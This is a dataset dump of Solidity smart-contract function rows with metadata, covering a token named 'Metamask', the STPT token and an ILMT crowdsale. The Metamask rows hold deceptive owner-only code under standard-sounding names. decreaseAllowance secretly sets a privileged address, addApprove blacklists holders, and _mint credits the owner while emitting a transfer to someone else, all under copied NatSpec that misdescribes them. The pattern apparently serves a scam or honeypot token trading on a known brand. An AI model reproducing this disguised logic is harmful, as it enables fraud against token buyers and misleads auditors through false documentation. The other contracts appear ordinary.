contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 7730, 7878 ] }
1,407
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 8293, 8577 ] }
1,408
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 9064, 9612 ] }
1,409
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 9888, 10194 ] }
1,410
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ma...
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 10521, 10944 ] }
1,411
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
STPTToken
function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); }
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 444, 696 ] }
1,412
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
totalSupply
function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 876, 989 ] }
1,413
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
balanceOf
function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 1203, 1324 ] }
1,414
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
transfer
function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 1658, 1910 ] }
1,415
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
approve
function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval do...
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 2403, 2600 ] }
1,416
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer...
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 3118, 3442 ] }
1,417
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
allowance
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 3715, 3863 ] }
1,418
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------...
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 4214, 4516 ] }
1,419
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // -----------------------------------------------...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
function () public payable { revert(); }
// ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 4702, 4753 ] }
1,420
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); T...
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 268, 659 ] }
1,421
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 865, 977 ] }
1,422
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 401, 853 ] }
1,423
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * ...
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 1485, 1675 ] }
1,424
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 1999, 2130 ] }
1,425
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spend...
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2596, 2860 ] }
1,426
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
decreaseApproval
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg...
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spend...
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3331, 3741 ] }
1,427
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 261, 321 ] }
1,428
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 644, 820 ] }
1,429
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that ...
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
mint
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { _amount = _amount * 1 ether; totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; }
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 483, 788 ] }
1,430
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that ...
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
finishMinting
function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; }
/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 905, 1047 ] }
1,431
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
ILMTToken
contract ILMTToken is Ownable, MintableToken { //Event for Presale transfers //event TokenPreSaleTransfer(address indexed purchaser, address indexed beneficiary, uint256 amount); // Token details string public constant name = "The Illuminati"; string public constant symbol = "ILMT"; // 18 decimal ...
/** * @title Token Wrapper with constructor * @dev Customized mintable ERC20 Token * @dev Token to support 2 owners only. */
NatSpecMultiLine
ILMTToken
function ILMTToken (address _owner1, uint8 _owner1Percentage, address _owner2, uint8 _owner2Percentage, uint256 _cap) public { //Total of 100M tokens require(_owner1Percentage+_owner2Percentage<50);//sanity check require(_cap >0); totalSupply = 0; //initialize total supply // 15% for owner1, 15...
/** @dev Constructor. Sets the initial supplies and transfer advisor/founders/presale tokens to the given account @param _owner1 The address of the first owner @param _owner1Percentage The preallocate percentage of tokens belong to the first owner @param _owner2 The address of the second owner @param _owner2P...
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 896, 1355 ] }
1,432
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
Crowdsale
function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); }
/** @dev constructor. Intializes the token to be traded using this contract */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2223, 2383 ] }
1,433
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
startCrowdsale
function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; }
/** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2570, 2873 ] }
1,434
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
endCrowdsale
function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; }
/** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3099, 3302 ] }
1,435
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale...
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
findCurrentRate
